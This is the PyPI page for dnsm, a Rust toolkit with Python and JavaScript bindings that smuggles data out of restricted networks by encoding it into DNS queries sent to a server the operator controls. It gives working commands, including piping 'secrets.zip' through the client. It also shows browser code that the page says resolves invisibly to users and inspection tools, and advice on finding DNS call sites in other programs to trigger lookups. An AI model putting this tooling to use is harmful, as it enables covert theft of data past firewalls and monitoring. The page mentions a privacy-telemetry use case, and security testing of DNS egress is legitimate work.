Skip to main content

DNS data exfiltration toolkit - Python bindings

Project description

dnsm ASCII logotype

Toolkit for Data Exfiltration via DNS

crates.io PyPI Rust Python

dnsm lets you transmit arbitrary data over plain DNS by encoding bytes into domain names and reconstructing the original payload on an authoritative server you control. It works from constrained egress environments to browsers.

Introduction

Many real‑world environments make "move data from A to B" more complicated than opening a socket. Egress is shaped by segmentation, firewalls, proxies, and sandboxed runtimes. Consider a few common situations: JavaScript running in a browser that only exposes HTTP(S) primitives; a CI runner or serverless function allowed to talk only to specific endpoints; a Kubernetes workload constrained by NetworkPolicies; or a corporate workstation that reaches the internet only through a proxy. The transport you'd normally pick might be unavailable - yet some parts of the stack continue to work automatically.

Most controls are expressed around specific transports and APIs (TCP, TLS, HTTP) and only come into play once an application attempts a connection. What they often leave implicit is what happens first: name resolution.

DNS lookups occur early in connection setup and are frequently permitted because everything else depends on them. Importantly, a DNS query can traverse the network even when no subsequent connection is possible.

While callers rarely influence the resolver's transport details (UDP vs TCP, retries, caching), they do control the most crucial input: the domain name being resolved. A domain name is composed of textual labels. If we can encode information into those labels safely and deterministically, we can induce resolvers to carry our data to an authoritative server we control - without ever establishing an application‑level connection.

This is the idea dnsm builds on.

We encode bytes into the textual labels that make up a domain name (naively, think your_payload_here.k.dnsm.re - an illustration of the idea, not the actual wire format) and rely on recursive resolvers to carry that name to a zone we control. dnsm implements a compact, purpose‑built protocol: inputs are LZMA‑compressed, framed with headers, split into ordered chunks, and encoded so that each chunk becomes a valid hostname label sequence (e.g., base32, length‑safe labels; see Protocol Header). Optional mailboxes provide inbox‑style retrieval and safe multiplexing across messages and senders.

To receive data, pick a short zone you control (e.g., k.dnsm.re) and run dnsm-server as the authoritative nameserver for that zone. It observes incoming queries, reassembles chunks, and decodes the payload into logs or a SQLite database.

On the sending side, use dnsm-client to generate the hostnames for arbitrary data, then trigger DNS resolution using any mechanism your environment allows (OS resolver, browser primitives, proxies, etc.). The lookups traverse recursive resolvers and eventually reach your authoritative server - delivering the message without opening an application‑layer connection.

Browsers

The client also runs in browsers and other JS contexts. Depending on how you trigger resolution, those lookups don't show up in browser DevTools and are completely invisible to users. Also, most tools commonly used to inspect app traffic (mitmproxy, Fiddler, Burp, ...) don't capture DNS by default. If you want to validate these claims, check out our browser test.

Read the Privacy-Preserving Data Transmission section if you're looking for a more white-hat-friendly use case.

Quick Start

Download the latest release, put the binaries on your PATH, or run them in place.

[!NOTE] Feel free to use our public zone k.dnsm.re for testing, in case you don't want to host your own server.

Sending Data to the Public Instance

Generating domain names from some input data:

$ echo "hello world" | dnsm-client k.dnsm.re --random-mailbox -n

dnsm-client: zone=k.dnsm.re
             first_payload=141
             payload_per_chunk=141
             total_chunks=1
             mailbox=f8925edd7f13

aaabz6esl3ox6e25aaaiaaamaaaaaaaaaaaaanazjhxi32ixre5dgx74vt3saaa.k.dnsm.re

[!NOTE] For such small input data, only one chunk/domain name is needed.

Triggering DNS resolution:

$ ping -c 1 aaabz6esl3ox6e25aaaiaaamaaaaaaaaaaaaanazjhxi32ixre5dgx74vt3saaa.k.dnsm.re

# Or with netcat
$ nc aaabz6esl3ox6e25aaaiaaamaaaaaaaaaaaaanazjhxi32ixre5dgx74vt3saaa.k.dnsm.re 9999 # Port doesn't matter

[!NOTE] There are many programs available on a typical Linux installation that can be used for this. Common options include dig, curl, wget, resolvectl, netcat, ssh and many more.

Retrieving messages:

$ dig @dnsm.re f8925edd7f13.m.dnsm.re TXT +tcp +short

"dc5a4edb8240\009hello world\010"

Also check out the web mailbox and dnsm-ws.

Running the Server Locally

  1. Start the authoritative DNS server and point it at your data zone. This example answers on UDP :5353, logs queries, and stores reconstructed payloads in SQLite:
dnsm-server x.foo.bar --bind 0.0.0.0:5353 --respond_with 127.0.0.1 --log queries.log --db ./dnsm.sqlite
  1. In a different terminal, stream some test data through the client so it emits DNS lookups toward the server:
echo "hello world" | dnsm-client x.foo.bar --resolver-ip 127.0.0.1:5353

# You can also send binary data
cat secrets.zip | dnsm-client x.foo.bar --resolver-ip 127.0.0.1:5353
  1. Watch the server log (or inspect the SQLite database) to confirm the message was received and reassembled:
  tail -f queries.log
  sqlite3 dnsm.sqlite "SELECT id, data FROM messages"

CLI Help

dnsm-server --help
Logs queries, answers A records with a fixed IPv4 address, and can
reassemble dnsm payloads when a zone is configured. All runs persist
queries and decoded payloads to SQLite.

Examples:

- dnsm-server x.foo.bar
- dnsm-server x.foo.bar --bind 0.0.0.0:5300 --respond_with 127.0.0.1
- dnsm-server x.foo.bar --mailbox-zone m.example --tcp-mailbox --ans-ttl 30 --neg-ttl 300

Usage: dnsm-server [OPTIONS] <ZONE>

Arguments:
  <ZONE>
          Zone to treat as authoritative for dnsm payloads (required)

Options:
      --bind <ADDR>
          Address to bind (default: 0.0.0.0:53)

          [default: 0.0.0.0:53]

      --mailbox-zone <MBX_ZONE>
          Mailbox TXT zone (optional). When set, TXT queries for "<mailbox-hex>.<mailbox-zone>" will
          return accumulated messages for that mailbox from the SQLite database (when configured)

      --tcp-mailbox
          Enable DNS over TCP handler for mailbox TXT lookups only

      --respond_with <IP>
          IPv4 address to answer for A queries (default: 0.0.0.0)

          [default: 0.0.0.0]

      --log <PATH>
          Path to append diagnostic event logs (default: dnsm_queries.log) Note: queries themselves
          are persisted to SQLite (see --db)

          [default: dnsm_queries.log]

      --db <PATH>
          Path to a SQLite database for persistence (messages table is auto-created)

          [default: dnsm.db]

      --progress-every <N>
          Log progress every n unique chunks (n > 0)

      --gc-ms <MS>
          Garbage-collect inactive assemblies older than this many ms (default: 30000ms = 30s)

      --max-assemblies <COUNT>
          Maximum concurrent assembly sessions (prevents memory exhaustion, default: 10_000)

          [default: 10000]

      --ans-ttl <SEC>
          TTL for A-record answers (default: 0)

          [default: 0]

      --neg-ttl <SEC>
          TTL for negative answers with SOA (default: 300)

          [default: 300]

      --no-color
          Disable ANSI colors in stdout (pretty output is always on)

      --accept-ascii-only
          Accept only messages that decode to ASCII bytes; reject otherwise

      --no-response
          Process queries but send no responses when enabled

      --max-decompressed-bytes <BYTES>
          Maximum decompressed payload size in bytes (default: 12582912 = 12MB). Prevents
          decompression bomb attacks. Set to 0 to disable limit (unsafe)

          [default: 12582912]

      --rate-limit-qps <QPS>
          Maximum queries per second per IP address. Set to 0 to disable rate limiting. Aims to
          prevent UDP amplification/reflection attacks. Default: 100 qps

          [default: 100]

  -h, --help
          Print help (see a summary with '-h')
dnsm-client --help
Reads from stdin and emits DNS queries carrying the data, or prints
hostnames (one per chunk) when --dont-query is used.

Examples:

- echo 'hello' | dnsm-client x.foo.bar --dont-query
- echo 'hello' | dnsm-client x.foo.bar --await-reply-ms 50 --delay-ms 2 --debug
- head -c 200000 /dev/urandom | dnsm-client x.foo.bar --resolver-ip 127.0.0.1:5353

Usage: dnsm-client [OPTIONS] <ZONE>

Arguments:
  <ZONE>
          Zone/apex the payload labels are appended to

Options:
      --resolver-ip <HOST[:PORT]>
          Send to this resolver (default: first nameserver in /etc/resolv.conf)

  -n, --dont-query
          Do not send; print hostnames (one per chunk)

      --await-reply-ms <MS>
          Wait up to this many ms for a reply to each query (0 disables)

          [default: 0]

      --delay-ms <MS>
          Sleep this many ms between queries

          [default: 5]

      --sent-log <PATH>
          Append a human-readable send log to this file

      --mailbox <HEX12>
          Optional mailbox ID (exactly 12 hex chars, no 0x)

      --random-mailbox
          Generate a random mailbox ID (conflicts with --mailbox)

      --debug
          Verbose progress to stderr

  -p, --pretty
          Print send progress to stdout with colors (does not affect --dont-query output)

      --ping
          Send a minimal ping (no message content, mailbox required)

      --no-color
          Disable ANSI colors even when --pretty is used

      --tagged-log
          Also write bracketed tags to --sent-log

  -h, --help
          Print help (see a summary with '-h')

JavaScript (Wasm) Client

The JS client is generated via wasm-bindgen and exposes helpers to turn bytes/strings into chunked domain names. After building WebAssembly (see build instructions), import and initialize the module, then call the helpers:

// Browser / ESM (vite, webpack, etc.)
import init, {
  domains_for_string,
  domains_for_string_with_mailbox,
  ping_domain,
} from "./web/src/lib/pkg-web/dnsm.js"; // path to generated pkg

await init(); // loads dnsm_bg.wasm next to dnsm.js

const zone = "k.example.com";
const msg = "hello from js";

// Without mailbox (auto session)
const domains = Array.from(domains_for_string(msg, zone));

// With mailbox (exactly 12 lowercase hex chars)
const mailbox = "050373323440";
const domainsWithMbx = Array.from(
  domains_for_string_with_mailbox(msg, zone, mailbox)
);

// Ping (minimal keepalive, no message content)
const pingHost = ping_domain(mailbox, zone);

// Optionally trigger DNS resolution in the browser (example method)
for (const h of domainsWithMbx) new Image().src = "https://" + h;

See BrowserTest.svelte for many in-browser resolution methods and usage examples.

Notes:

  • The functions return arrays of domain names (strings) that encode your data.
  • ping_domain returns a single domain name for a content-less keepalive query.
  • The same compression, chunking, and mailbox behavior as the CLI is used under the hood.
  • For Node/bundlers, you can also import from the pkg/ directory produced by the wasm build.

Python Client

Native Python bindings powered by PyO3. The same behavior as the Rust CLI, with no subprocess spawned.

Install

pip install dnsm

Wheels are published for Linux x86_64 and aarch64 (CPython 3.9 to 3.13).

Library usage

import dnsm

# Encode data into DNS domain names
domains, info = dnsm.build_domains(b"hello world", "k.dnsm.re")
print(info.total_chunks)  # 1
print(domains[0])         # aaabz6esl3...k.dnsm.re

# With a mailbox
domains, info = dnsm.build_domains(b"hello world", "k.dnsm.re", "050373323440")

# Ping (content-less keepalive)
ping = dnsm.build_ping_domain("050373323440", "k.dnsm.re")

# Low-level helpers
compressed = dnsm.compress_lzma(b"some data")
encoded    = dnsm.base32_encode(b"\x00\x01\x02")
decoded    = dnsm.base32_decode(encoded)   # bytes or None
key        = dnsm.message_key48(b"payload") # u64
mid        = dnsm.message_id(b"payload")    # 16 bytes (BLAKE3)

# Validation
labels = dnsm.validate_zone("k.dnsm.re")      # list[str] or raises ValueError
canon  = dnsm.validate_mailbox("050373323440")  # str or None

CLI

A dnsm-client entry point mirrors the Rust CLI:

echo "hello world" | dnsm-client k.dnsm.re --random-mailbox -n
echo "hello world" | dnsm-client k.dnsm.re --resolver-ip 127.0.0.1:5353 --delay-ms 2 --debug

Run dnsm-client --help for the full option list.


Domain Setup

  1. Register a short domain and provision a publicly reachable host.
  • Domain names have a maximum length, so shorter domains leave more space to encode payload data.
  1. Pick a short data zone (e.g., k.foo.bar) and create an NS record that points to your host. Optional: Also create a mailbox zone (e.g., m.foo.bar) for DNS TXT retrieval.

  2. Start dnsm-server on your host and pass the zone you selected.

Privacy-Preserving Data Transmission

DNS resolution inherently anonymizes the sender's identity. When a client performs a DNS lookup, the request traverses through one or more recursive resolvers before reaching the authoritative nameserver (terms and conditions apply). From the authoritative server's perspective, the query appears to originate from the recursive resolver - not the original client. This architectural characteristic means the recipient never observes the sender's IP address.

This property has practical applications for privacy-compliant telemetry and analytics, particularly in jurisdictions where IP addresses constitute personally identifiable information (PII) under data protection regulations such as the EU's GDPR. By transmitting telemetry data through DNS queries, organizations can collect usage metrics and analytics from client applications - including web browsers - without capturing or processing any PII. The receiving infrastructure logs only the queries themselves and the IP addresses of intermediate DNS resolvers, which are shared infrastructure and carry no user-identifying information.

Note: Factors such as the specificity of transmitted data, timestamp precision, and correlation with other data sources may affect the privacy characteristics of any implementation.

Programmatic Rust API

use dnsm::{build_domains_for_data, BuildOptions};

let data = b"exfiltrate me";
let zone = "k.dnsm.re";
let opts = BuildOptions { mailbox: Some(0x050373323440) };
let (domains, info) = build_domains_for_data(data, zone, &opts)?;
assert!(info.total_chunks >= 1);

Protocol Header

Section Wire Format Notes
Envelope LZMA input → chunk framing (header + extras + payload) → base32 labels (lowercase, no padding). Each label ≤ 63 bytes. Suffix the labels with the validated zone so the full QNAME stays under 255 bytes on the wire.
Chunk Header (v2) 8-bit flags [ping:1][chunked:1][mailbox:1][first:1][version:3][reserved:1], plus optional 16-bit big-endian remaining when chunked=1. version = 0x2; single-chunk messages use a 1-byte header; multi-chunk messages use 3 bytes. ping marks a content-less keepalive; first marks the opener of a multi-chunk stream.
Chunk Extras Single: optional 6-byte mailbox.
First multi: 6-byte message_key48, optional 6-byte mailbox.
Follow-up: 6-byte message_key48.
message_key48 = BLAKE3(original_payload)[..6]; mailbox values are big-endian 48-bit when present; follow-up chunks omit mailbox bytes even though the header flag stays set.
Ping 1-byte header (ping=1, mailbox=1) + 6-byte mailbox, no payload. Stored with message_type='ping' in the database. Pings are excluded from TXT mailbox responses but visible in the WebSocket/HTTP API.
Identifiers message_key48 binds chunks and server deduplication.
message_id = BLAKE3(decompressed_payload)[..16].
Mailbox values are masked to 0x0000_FFFF_FFFF_FFFF; TXT paging accepts either the 12-hex prefix or the full 32-hex message_id.
Mailbox TXT Replies TXT RRs surface as <message_id_prefix>\t<raw payload bytes>. Prefix is the first 12 hex chars of message_id; oversized replies truncate gracefully and may set the TC bit as a paging hint. Only message rows are included (pings are excluded).

Finding DNS Call Sites

When looking for ways to trigger a specific program to resolve your domain names, a good heuristic is to check whether the executable imports common resolver entry points, then exercise code paths that reach them.

  • Common symbols: getaddrinfo, getnameinfo, gethostbyname, res_query (libresolv), or library-specific resolvers (e.g., c-ares).
  • Linux: nm -D /usr/sbin/squid | grep -E "getaddrinfo|getnameinfo|gethostbyname|res_query" or objdump -T /usr/sbin/squid | grep ...

Once you've identified a call site, typical triggers include providing a hostname (not an IP) in configuration (base URLs, webhook endpoints), setting proxy variables (HTTP_PROXY, HTTPS_PROXY, ALL_PROXY), or causing the app to load remote assets (updates, telemetry, images). These often funnel into the same resolver APIs and will emit DNS lookups that dnsm-server can observe.

Building From Source

If you prefer building dnsm locally:

  • Requirements: Rust (stable) and standard build tools. For the web demo, Node.js + npm.

  • Native binaries (release builds):

    • Client: cargo build --release --bin dnsm-client
    • Server: cargo build --release --bin dnsm-server --features sqlite
    • WS/API: cargo build --release --bin dnsm-ws --features "sqlite,ws-server"
  • Python bindings (requires maturin):

    • Dev install: maturin develop --features python
    • Build wheel: maturin build --release --features python
  • WebAssembly bindings for the JS client:

    • Install wasm-bindgen-cli once: cargo install wasm-bindgen-cli --locked
    • Build: bash scripts/build_webassembly.sh
    • The generated files land in web/src/lib/pkg-web/ and pkg/.
  • Web app (Svelte + Vite):

    • Dev server: npm install --prefix web && npm run dev --prefix web
    • Production build: npm run build --prefix web
  • Binaries end up in target/release/.

  • Optional Cargo features:

    • sqlite - required for dnsm-server and dnsm-ws (persistence, queries, views)
    • ws-server - enables the WebSocket/HTTP inbox
    • python - PyO3 bindings (used by maturin)

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

dnsm-0.1.9.tar.gz (2.0 MB view details)

Uploaded Source

Built Distributions

If you're not sure about the file name format, learn more about wheel file names.

dnsm-0.1.9-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (294.7 kB view details)

Uploaded CPython 3.14manylinux: glibc 2.17+ x86-64

dnsm-0.1.9-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl (272.6 kB view details)

Uploaded CPython 3.14manylinux: glibc 2.17+ ARM64

dnsm-0.1.9-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (294.8 kB view details)

Uploaded CPython 3.13manylinux: glibc 2.17+ x86-64

dnsm-0.1.9-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl (272.7 kB view details)

Uploaded CPython 3.13manylinux: glibc 2.17+ ARM64

dnsm-0.1.9-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (294.7 kB view details)

Uploaded CPython 3.12manylinux: glibc 2.17+ x86-64

dnsm-0.1.9-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl (272.6 kB view details)

Uploaded CPython 3.12manylinux: glibc 2.17+ ARM64

dnsm-0.1.9-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (294.9 kB view details)

Uploaded CPython 3.11manylinux: glibc 2.17+ x86-64

dnsm-0.1.9-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl (273.0 kB view details)

Uploaded CPython 3.11manylinux: glibc 2.17+ ARM64

dnsm-0.1.9-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (295.1 kB view details)

Uploaded CPython 3.10manylinux: glibc 2.17+ x86-64

dnsm-0.1.9-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl (273.1 kB view details)

Uploaded CPython 3.10manylinux: glibc 2.17+ ARM64

dnsm-0.1.9-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (296.6 kB view details)

Uploaded CPython 3.9manylinux: glibc 2.17+ x86-64

dnsm-0.1.9-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl (274.4 kB view details)

Uploaded CPython 3.9manylinux: glibc 2.17+ ARM64

File details

Details for the file dnsm-0.1.9.tar.gz.

File metadata

  • Download URL: dnsm-0.1.9.tar.gz
  • Upload date:
  • Size: 2.0 MB
  • Tags: Source
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/6.1.0 CPython/3.13.12

File hashes

Hashes for dnsm-0.1.9.tar.gz
Algorithm Hash digest
SHA256 7cf54971b5a0c82b4fe9205b62a780479342b2c23b164f88622d45356fb1f792
MD5 8a2b32521d7b0c45bed5b68322d0f5db
BLAKE2b-256 6de43b73a6e6ce2171286d66b9d97d90226e923c5dc622921cfbb3e34997c4ba

See more details on using hashes here.

Provenance

The following attestation bundles were made for dnsm-0.1.9.tar.gz:

Publisher: release-github.yml on k-o-n-t-o-r/dnsm

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file dnsm-0.1.9-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl.

File metadata

File hashes

Hashes for dnsm-0.1.9-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl
Algorithm Hash digest
SHA256 e06d2ac71d867e65e5cf3796b5296acd75aa5656729a4766aef370d954bce1c2
MD5 fc522fe1193954f2b27fb0acbb8e3e89
BLAKE2b-256 ea2dcb96a9dc10b8c16ad0926e9954ce71c2c27e546ed7fe6700243457dea88f

See more details on using hashes here.

Provenance

The following attestation bundles were made for dnsm-0.1.9-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl:

Publisher: release-github.yml on k-o-n-t-o-r/dnsm

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file dnsm-0.1.9-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl.

File metadata

File hashes

Hashes for dnsm-0.1.9-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl
Algorithm Hash digest
SHA256 32e1a050f927470526865890bfc305b778d9b5f54c123a8f33bdbe5aaaae3c4c
MD5 cac45be3ca51642f3bf552f45cce727c
BLAKE2b-256 c409da77bbd31a2e57a54ee113768c41b60b005737005ed61cb9036e1b96d094

See more details on using hashes here.

Provenance

The following attestation bundles were made for dnsm-0.1.9-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl:

Publisher: release-github.yml on k-o-n-t-o-r/dnsm

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file dnsm-0.1.9-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl.

File metadata

File hashes

Hashes for dnsm-0.1.9-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl
Algorithm Hash digest
SHA256 3870164cee1ab660a7c13a8a818420ab368d31c57a97c303d7c8d8172b15ecfc
MD5 8ba799466305023c4f42288863e6244d
BLAKE2b-256 a731bef254c828f1a1269937d9027eb18dd4bc63597644dd3d13ab5ed907081e

See more details on using hashes here.

Provenance

The following attestation bundles were made for dnsm-0.1.9-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl:

Publisher: release-github.yml on k-o-n-t-o-r/dnsm

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file dnsm-0.1.9-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl.

File metadata

File hashes

Hashes for dnsm-0.1.9-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl
Algorithm Hash digest
SHA256 f71a4b7ae19397a5d0d0e6485da5dcf92d6139661328aa205fcf1533754f5181
MD5 00c6c2b15bad7e4fede64f1add9fefa8
BLAKE2b-256 59b52c698a9847b4f7b493117a0b324554bee32f34eeb2d2906065a4521d9b39

See more details on using hashes here.

Provenance

The following attestation bundles were made for dnsm-0.1.9-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl:

Publisher: release-github.yml on k-o-n-t-o-r/dnsm

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file dnsm-0.1.9-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl.

File metadata

File hashes

Hashes for dnsm-0.1.9-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl
Algorithm Hash digest
SHA256 08a12169fb5f9c1fc194fc084f79e2144850896c5524a492cc65894f82c6821a
MD5 2cdf594c005ca2fa8fee966addadbcae
BLAKE2b-256 cdd8755d5be3ed30af6a32a9677a7a62e81d0dc1ab4ec4c61cd9194b7ffb4b5a

See more details on using hashes here.

Provenance

The following attestation bundles were made for dnsm-0.1.9-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl:

Publisher: release-github.yml on k-o-n-t-o-r/dnsm

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file dnsm-0.1.9-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl.

File metadata

File hashes

Hashes for dnsm-0.1.9-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl
Algorithm Hash digest
SHA256 16ec2cd454b1e7ed1061eeec31e68226465ba521f9b26971308f6186d3f8eef1
MD5 fdf0d5fca86f170b3346d181827fd5fe
BLAKE2b-256 f0a8e2d078c921ba3b8986b715153121312674714c3af8573e214d455c1ba599

See more details on using hashes here.

Provenance

The following attestation bundles were made for dnsm-0.1.9-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl:

Publisher: release-github.yml on k-o-n-t-o-r/dnsm

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file dnsm-0.1.9-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl.

File metadata

File hashes

Hashes for dnsm-0.1.9-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl
Algorithm Hash digest
SHA256 303ef193d19e04a1d07a52882bc9dc27142df4f56af25be1ddddbbcf0895c30e
MD5 bf3fc15c26158f8e8cd8077d591fd221
BLAKE2b-256 db657f842661f02b9a44b0dd5b2998592d0f60d6bca4c1e698598466c892a54d

See more details on using hashes here.

Provenance

The following attestation bundles were made for dnsm-0.1.9-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl:

Publisher: release-github.yml on k-o-n-t-o-r/dnsm

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file dnsm-0.1.9-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl.

File metadata

File hashes

Hashes for dnsm-0.1.9-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl
Algorithm Hash digest
SHA256 7f5997d2470462d9e0be12899c4d151945b7a5501199e1321ff9e8739ce08460
MD5 33b8d46d170d40f92f3c675a67b050d2
BLAKE2b-256 b21643ac7230ddf45be47ecd4f1600a2f751424b1e6c5929bd75d68ced869983

See more details on using hashes here.

Provenance

The following attestation bundles were made for dnsm-0.1.9-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl:

Publisher: release-github.yml on k-o-n-t-o-r/dnsm

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file dnsm-0.1.9-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl.

File metadata

File hashes

Hashes for dnsm-0.1.9-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl
Algorithm Hash digest
SHA256 f3662385f6ccc4177c520573659f9a1286c1958a0937c22ce9fa4d4b45040b45
MD5 6ffa810f721e8c61218115db0715de8e
BLAKE2b-256 529d03773d426ea50dfc2cf6a0af2e393abd3a1815cde946e6de4113ea522ac8

See more details on using hashes here.

Provenance

The following attestation bundles were made for dnsm-0.1.9-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl:

Publisher: release-github.yml on k-o-n-t-o-r/dnsm

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file dnsm-0.1.9-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl.

File metadata

File hashes

Hashes for dnsm-0.1.9-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl
Algorithm Hash digest
SHA256 6a0d02a4101315a04c3b0144a7ccb467e761c3dc3a179dfb3aec82ee7bb5c279
MD5 02ba19f2a195e1b80874c092833d1857
BLAKE2b-256 62cc5108d78860f22f0e5985723ddfa76ccf734116abae5813d1f8ea2a3adf06

See more details on using hashes here.

Provenance

The following attestation bundles were made for dnsm-0.1.9-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl:

Publisher: release-github.yml on k-o-n-t-o-r/dnsm

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file dnsm-0.1.9-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl.

File metadata

File hashes

Hashes for dnsm-0.1.9-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl
Algorithm Hash digest
SHA256 962b33a1262d9d4a05853ea7d6842c68f411476838662aceaf1a56605955022d
MD5 f8892e1039f86b0d0cdc8767f6c0091f
BLAKE2b-256 93790dca3f2660af90327e1a6c0bdd134a45de15abb54459a7669fa28d8277ec

See more details on using hashes here.

Provenance

The following attestation bundles were made for dnsm-0.1.9-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl:

Publisher: release-github.yml on k-o-n-t-o-r/dnsm

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file dnsm-0.1.9-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl.

File metadata

File hashes

Hashes for dnsm-0.1.9-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl
Algorithm Hash digest
SHA256 a1c82807dfa083aac9ee8a9f571c8e1578043dbc80f0af37ab16e13fbbd1253e
MD5 c36c2ffa9cd8c2145d0f96446bf498c3
BLAKE2b-256 e3fc9ac2fccf19fd7ce80901df9795ed5c12e65bfc8cd85df2f48d25bb51b672

See more details on using hashes here.

Provenance

The following attestation bundles were made for dnsm-0.1.9-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl:

Publisher: release-github.yml on k-o-n-t-o-r/dnsm

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page